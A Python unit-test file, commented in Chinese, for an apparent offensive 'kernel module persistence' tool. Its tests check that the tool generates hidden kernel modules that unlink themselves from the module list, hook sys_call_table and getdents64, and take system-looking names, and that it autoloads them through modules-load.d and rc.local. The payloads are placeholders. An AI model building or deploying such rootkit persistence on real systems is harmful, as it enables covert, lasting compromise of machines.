#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
内核模块级权限维持模块单元测试
"""

import unittest
import tempfile
import os
import shutil
import subprocess
from unittest.mock import Mock, patch, MagicMock

# 添加模块路径
import sys
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))

from lkm.core import LKMPersistenceModule
from base import PersistenceConfig, PersistenceResult, PersistenceStatus, PersistenceLevel


class TestLKMPersistenceModule(unittest.TestCase):
    """内核模块级权限维持模块测试"""
    
    def setUp(self):
        """测试初始化"""
        self.module = LKMPersistenceModule()
        self.test_config = PersistenceConfig(
            payload="// test payload code",
            stealth_level=7
        )
        
        # 创建临时目录
        self.temp_dir = tempfile.mkdtemp()
        
    def tearDown(self):
        """测试清理"""
        # 清理临时目录
        if os.path.exists(self.temp_dir):
            shutil.rmtree(self.temp_dir)
    
    def test_module_initialization(self):
        """测试模块初始化"""
        self.assertIsInstance(self.module, LKMPersistenceModule)
        self.assertEqual(self.module.name, "lkm")
        self.assertIn("linux", self.module.supported_platforms)
        self.assertTrue(self.module.requires_root)
        self.assertTrue(self.module.requires_compilation)
    
    def test_config_validation(self):
        """测试配置验证"""
        # 模拟内核版本和编译环境检查
        with patch.object(self.module, '_get_kernel_version', return_value=(5, 4)), \
             patch.object(self.module, '_is_kernel_supported', return_value=True), \
             patch.object(self.module, '_check_build_environment', return_value=True):
            
            # 有效配置
            result = self.module.validate_config(self.test_config)
            self.assertTrue(result.success)
            
            # 无效配置 - 空payload
            invalid_config = PersistenceConfig(
                payload="",
                stealth_level=5
            )
            result = self.module.validate_config(invalid_config)
            self.assertFalse(result.success)
            
            # 无效配置 - 无效隐蔽级别
            invalid_config = PersistenceConfig(
                payload="// test",
                stealth_level=15
            )
            result = self.module.validate_config(invalid_config)
            self.assertFalse(result.success)
    
    def test_platform_support(self):
        """测试平台支持检查"""
        with patch('os.name', 'posix'):
            self.assertTrue(self.module.is_platform_supported())
        
        with patch('os.name', 'nt'):
            self.assertFalse(self.module.is_platform_supported())
    
    @patch('subprocess.run')
    def test_kernel_version_detection(self, mock_run):
        """测试内核版本检测"""
        # 模拟uname -r输出
        mock_run.return_value.stdout = "5.4.0-74-generic\n"
        mock_run.return_value.returncode = 0
        
        version = self.module._get_kernel_version()
        self.assertEqual(version, (5, 4))
        
        # 测试异常情况
        mock_run.side_effect = subprocess.CalledProcessError(1, 'uname')
        version = self.module._get_kernel_version()
        self.assertEqual(version, (0, 0))
    
    def test_kernel_support_check(self):
        """测试内核版本支持检查"""
        # 支持的版本
        self.assertTrue(self.module._is_kernel_supported((5, 4)))
        self.assertTrue(self.module._is_kernel_supported((4, 19)))
        
        # 不支持的版本
        self.assertFalse(self.module._is_kernel_supported((2, 6)))
        self.assertFalse(self.module._is_kernel_supported((7, 0)))
    
    @patch('subprocess.run')
    @patch('os.path.exists')
    def test_build_environment_check(self, mock_exists, mock_run):
        """测试编译环境检查"""
        # 完整的编译环境
        mock_run.return_value.returncode = 0
        mock_exists.return_value = True
        self.assertTrue(self.module._check_build_environment())
        
        # 缺少gcc
        mock_run.side_effect = [
            subprocess.CalledProcessError(1, 'gcc'),  # gcc失败
            Mock(returncode=0),  # make成功
            Mock(stdout="5.4.0-74-generic\n", returncode=0)  # uname成功
        ]
        self.assertFalse(self.module._check_build_environment())
        
        # 缺少内核头文件
        mock_run.side_effect = [
            Mock(returncode=0),  # gcc成功
            Mock(returncode=0),  # make成功
            Mock(stdout="5.4.0-74-generic\n", returncode=0)  # uname成功
        ]
        mock_exists.return_value = False
        self.assertFalse(self.module._check_build_environment())
    
    @patch('os.getuid')
    def test_root_privileges_check(self, mock_getuid):
        """测试root权限检查"""
        # root用户
        mock_getuid.return_value = 0
        self.assertTrue(self.module._check_root_privileges())
        
        # 普通用户
        mock_getuid.return_value = 1000
        self.assertFalse(self.module._check_root_privileges())
    
    def test_module_template_selection(self):
        """测试模块模板选择"""
        # 低隐蔽级别
        template = self.module._select_module_template(3)
        self.assertEqual(template, 'basic')
        
        # 中等隐蔽级别
        template = self.module._select_module_template(6)
        self.assertEqual(template, 'stealth')
        
        # 高隐蔽级别
        template = self.module._select_module_template(9)
        self.assertEqual(template, 'advanced')
    
    def test_module_name_generation(self):
        """测试模块名称生成"""
        # 低隐蔽级别
        name = self.module._generate_module_name(3)
        self.assertTrue(len(name) > 0)
        self.assertNotIn('malicious', name.lower())
        
        # 高隐蔽级别
        name = self.module._generate_module_name(9)
        self.assertTrue(len(name) > 0)
        # 应该包含系统相关的名称
        system_keywords = ['kernel', 'crypto', 'mm', 'fs', 'net', 'core']
        self.assertTrue(any(keyword in name for keyword in system_keywords))
    
    def test_work_directory_creation(self):
        """测试工作目录创建"""
        instance_id = "test_instance"
        work_dir = self.module._create_work_directory(instance_id)
        
        self.assertTrue(os.path.exists(work_dir))
        self.assertIn(instance_id, work_dir)
        
        # 清理
        shutil.rmtree(work_dir)
    
    def test_module_source_generation(self):
        """测试模块源代码生成"""
        work_dir = self.temp_dir
        module_name = "test_module"
        payload = "// test payload"
        
        # 测试基础模板
        source_file = self.module._generate_module_source(
            work_dir, module_name, payload, 5, 'basic'
        )
        
        self.assertTrue(os.path.exists(source_file))
        
        with open(source_file, 'r') as f:
            content = f.read()
        
        self.assertIn(module_name, content)
        self.assertIn('MODULE_LICENSE', content)
        self.assertIn('module_init', content)
        self.assertIn('module_exit', content)
    
    def test_basic_module_generation(self):
        """测试基础模块代码生成"""
        module_name = "test_basic"
        payload = "// basic payload"
        
        source_code = self.module._generate_basic_module(module_name, payload)
        
        self.assertIn(module_name, source_code)
        self.assertIn(payload, source_code)
        self.assertIn('#include <linux/init.h>', source_code)
        self.assertIn('kthread_run', source_code)
    
    def test_stealth_module_generation(self):
        """测试隐蔽模块代码生成"""
        module_name = "test_stealth"
        payload = "// stealth payload"
        stealth_level = 8
        
        source_code = self.module._generate_stealth_module(module_name, payload, stealth_level)
        
        self.assertIn(module_name, source_code)
        self.assertIn(payload, source_code)
        self.assertIn('hide_module', source_code)
        self.assertIn('show_module', source_code)
        self.assertIn('list_del', source_code)
    
    def test_advanced_module_generation(self):
        """测试高级模块代码生成"""
        module_name = "test_advanced"
        payload = "// advanced payload"
        stealth_level = 9
        
        source_code = self.module._generate_advanced_module(module_name, payload, stealth_level)
        
        self.assertIn(module_name, source_code)
        self.assertIn(payload, source_code)
        self.assertIn('sys_call_table', source_code)
        self.assertIn('hooked_sys_getdents64', source_code)
        self.assertIn('kallsyms_lookup_name', source_code)
    
    def test_makefile_generation(self):
        """测试Makefile生成"""
        work_dir = self.temp_dir
        module_name = "test_module"
        
        makefile_path = self.module._generate_makefile(work_dir, module_name)
        
        self.assertTrue(os.path.exists(makefile_path))
        
        with open(makefile_path, 'r') as f:
            content = f.read()
        
        self.assertIn(f"obj-m += {module_name}.o", content)
        self.assertIn('make -C /lib/modules/', content)
    
    @patch('subprocess.run')
    def test_module_loading_check(self, mock_run):
        """测试模块加载检查"""
        module_name = "test_module"
        
        # 模块已加载
        mock_run.return_value.stdout = f"test_module    16384  0\nother_module   8192   1"
        self.assertTrue(self.module._is_module_loaded(module_name))
        
        # 模块未加载
        mock_run.return_value.stdout = "other_module   8192   1"
        self.assertFalse(self.module._is_module_loaded(module_name))
        
        # 命令执行失败
        mock_run.side_effect = subprocess.CalledProcessError(1, 'lsmod')
        self.assertFalse(self.module._is_module_loaded(module_name))
    
    @patch('subprocess.run')
    def test_module_load_unload(self, mock_run):
        """测试模块加载和卸载"""
        module_name = "test_module"
        module_path = "/path/to/test_module.ko"
        
        # 测试加载成功
        mock_run.return_value.returncode = 0
        result = self.module._load_module(module_path)
        self.assertTrue(result.success)
        
        # 测试加载失败
        mock_run.side_effect = subprocess.CalledProcessError(1, 'insmod', stderr="Error loading module")
        result = self.module._load_module(module_path)
        self.assertFalse(result.success)
        self.assertIn("Error loading module", result.message)
        
        # 重置mock
        mock_run.side_effect = None
        mock_run.return_value.returncode = 0
        
        # 测试卸载成功
        result = self.module._unload_module(module_name)
        self.assertTrue(result.success)
        
        # 测试卸载失败
        mock_run.side_effect = subprocess.CalledProcessError(1, 'rmmod', stderr="Error unloading module")
        result = self.module._unload_module(module_name)
        self.assertFalse(result.success)
    
    @patch('os.path.exists')
    def test_installed_module_finding(self, mock_exists):
        """测试已安装模块查找"""
        module_name = "test_module"
        
        # 模拟uname -r
        with patch('subprocess.run') as mock_run:
            mock_run.return_value.stdout = "5.4.0-74-generic\n"
            mock_run.return_value.returncode = 0
            
            # 在misc目录找到
            mock_exists.side_effect = lambda path: 'misc' in path
            result = self.module._find_installed_module(module_name)
            self.assertIsNotNone(result)
            self.assertIn('misc', result)
            
            # 在extra目录找到
            mock_exists.side_effect = lambda path: 'extra' in path
            result = self.module._find_installed_module(module_name)
            self.assertIsNotNone(result)
            self.assertIn('extra', result)
            
            # 未找到
            mock_exists.return_value = False
            result = self.module._find_installed_module(module_name)
            self.assertIsNone(result)
    
    def test_autoload_configuration_methods(self):
        """测试自动加载配置方法"""
        module_name = "test_module"
        
        # 测试添加到modules-load.d
        with patch('builtins.open', create=True) as mock_open:
            mock_file = MagicMock()
            mock_open.return_value.__enter__.return_value = mock_file
            
            self.module._add_to_modules_load(module_name)
            mock_file.write.assert_called_with(f"{module_name}\n")
        
        # 测试添加到rc.local
        with patch('builtins.open', create=True) as mock_open, \
             patch('os.path.exists', return_value=True):
            
            mock_open.return_value.__enter__.return_value.read.return_value = "#!/bin/bash\nexit 0"
            mock_file = MagicMock()
            mock_open.return_value.__enter__.return_value = mock_file
            
            self.module._add_to_rc_local(module_name)
            # 验证写入了包含modprobe命令的内容
            written_content = ''.join([call[0][0] for call in mock_file.write.call_args_list])
            self.assertIn(f"modprobe {module_name}", written_content)
    
    def test_module_info(self):
        """测试模块信息获取"""
        with patch.object(self.module, '_get_kernel_version', return_value=(5, 4)), \
             patch.object(self.module, '_check_build_environment', return_value=True):
            
            info = self.module.get_module_info()
            
            self.assertEqual(info['name'], 'lkm')
            self.assertIn('version', info)
            self.assertIn('description', info)
            self.assertIn('supported_platforms', info)
            self.assertIn('linux', info['supported_platforms'])
            self.assertTrue(info['requires_root'])
            self.assertTrue(info['requires_compilation'])
            self.assertEqual(info['current_kernel'], '5.4')
    
    def test_instance_management(self):
        """测试实例管理"""
        # 测试保存实例配置
        instance_id = "test_instance"
        config_data = {
            'module_name': 'test_module',
            'template_type': 'stealth',
            'stealth_level': 7
        }
        
        self.module._save_instance_config(instance_id, config_data)
        
        # 测试加载实例配置
        loaded_config = self.module._load_instance_config(instance_id)
        self.assertEqual(loaded_config['module_name'], 'test_module')
        
        # 测试删除实例配置
        self.module._delete_instance_config(instance_id)
        deleted_config = self.module._load_instance_config(instance_id)
        self.assertIsNone(deleted_config)


class TestLKMModuleIntegration(unittest.TestCase):
    """内核模块级权限维持模块集成测试"""
    
    def setUp(self):
        """集成测试初始化"""
        self.module = LKMPersistenceModule()
    
    @unittest.skipUnless(os.name == 'posix', "需要Linux环境")
    def test_gcc_availability(self):
        """测试gcc可用性"""
        try:
            result = subprocess.run(['gcc', '--version'], capture_output=True)
            self.assertEqual(result.returncode, 0)
        except FileNotFoundError:
            self.skipTest("gcc不可用")
    
    @unittest.skipUnless(os.name == 'posix', "需要Linux环境")
    def test_make_availability(self):
        """测试make可用性"""
        try:
            result = subprocess.run(['make', '--version'], capture_output=True)
            self.assertEqual(result.returncode, 0)
        except FileNotFoundError:
            self.skipTest("make不可用")
    
    @unittest.skipUnless(os.name == 'posix', "需要Linux环境")
    def test_kernel_headers_existence(self):
        """测试内核头文件存在性"""
        try:
            result = subprocess.run(['uname', '-r'], capture_output=True, text=True)
            kernel_version = result.stdout.strip()
            
            headers_paths = [
                f"/usr/src/linux-headers-{kernel_version}",
                f"/lib/modules/{kernel_version}/build"
            ]
            
            headers_found = any(os.path.exists(path) for path in headers_paths)
            if not headers_found:
                self.skipTest("内核头文件不可用")
            
            self.assertTrue(headers_found)
            
        except Exception:
            self.skipTest("无法检查内核头文件")
    
    @unittest.skipUnless(os.name == 'posix', "需要Linux环境")
    def test_lsmod_command(self):
        """测试lsmod命令"""
        try:
            result = subprocess.run(['lsmod'], capture_output=True, text=True)
            self.assertEqual(result.returncode, 0)
            self.assertIn('Module', result.stdout)  # 标题行
        except FileNotFoundError:
            self.fail("lsmod命令不可用")
    
    @unittest.skipUnless(os.name == 'posix', "需要Linux环境")
    @unittest.skipUnless(os.getuid() == 0, "需要root权限")
    def test_insmod_rmmod_commands(self):
        """测试insmod和rmmod命令"""
        try:
            # 只测试命令是否存在，不实际加载模块
            result = subprocess.run(['insmod'], capture_output=True)
            # insmod不带参数会返回错误，但命令应该存在
            self.assertNotEqual(result.returncode, 127)  # 127表示命令不存在
            
            result = subprocess.run(['rmmod'], capture_output=True)
            self.assertNotEqual(result.returncode, 127)
            
        except FileNotFoundError:
            self.fail("insmod或rmmod命令不可用")
    
    def test_module_compilation_simulation(self):
        """测试模块编译模拟"""
        # 创建临时目录
        with tempfile.TemporaryDirectory() as temp_dir:
            module_name = "test_compile"
            
            # 生成简单的模块源代码
            source_code = '''
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");

static int __init test_init(void)
{
    printk(KERN_INFO "Test module loaded\\n");
    return 0;
}

static void __exit test_exit(void)
{
    printk(KERN_INFO "Test module unloaded\\n");
}

module_init(test_init);
module_exit(test_exit);
'''
            
            source_file = os.path.join(temp_dir, f"{module_name}.c")
            with open(source_file, 'w') as f:
                f.write(source_code)
            
            # 生成Makefile
            makefile_content = f"obj-m += {module_name}.o\n"
            makefile_path = os.path.join(temp_dir, "Makefile")
            with open(makefile_path, 'w') as f:
                f.write(makefile_content)
            
            # 验证文件创建成功
            self.assertTrue(os.path.exists(source_file))
            self.assertTrue(os.path.exists(makefile_path))


def run_all_tests():
    """运行所有测试"""
    # 创建测试套件
    test_suite = unittest.TestSuite()
    
    # 添加单元测试
    test_suite.addTest(unittest.makeSuite(TestLKMPersistenceModule))
    
    # 添加集成测试
    test_suite.addTest(unittest.makeSuite(TestLKMModuleIntegration))
    
    # 运行测试
    runner = unittest.TextTestRunner(verbosity=2)
    result = runner.run(test_suite)
    
    return result.wasSuccessful()


if __name__ == '__main__':
    print("=== 内核模块级权限维持模块测试 ===")
    
    # 运行所有测试
    success = run_all_tests()
    
    if success:
        print("\n✓ 所有测试通过")
    else:
        print("\n✗ 部分测试失败")
        exit(1)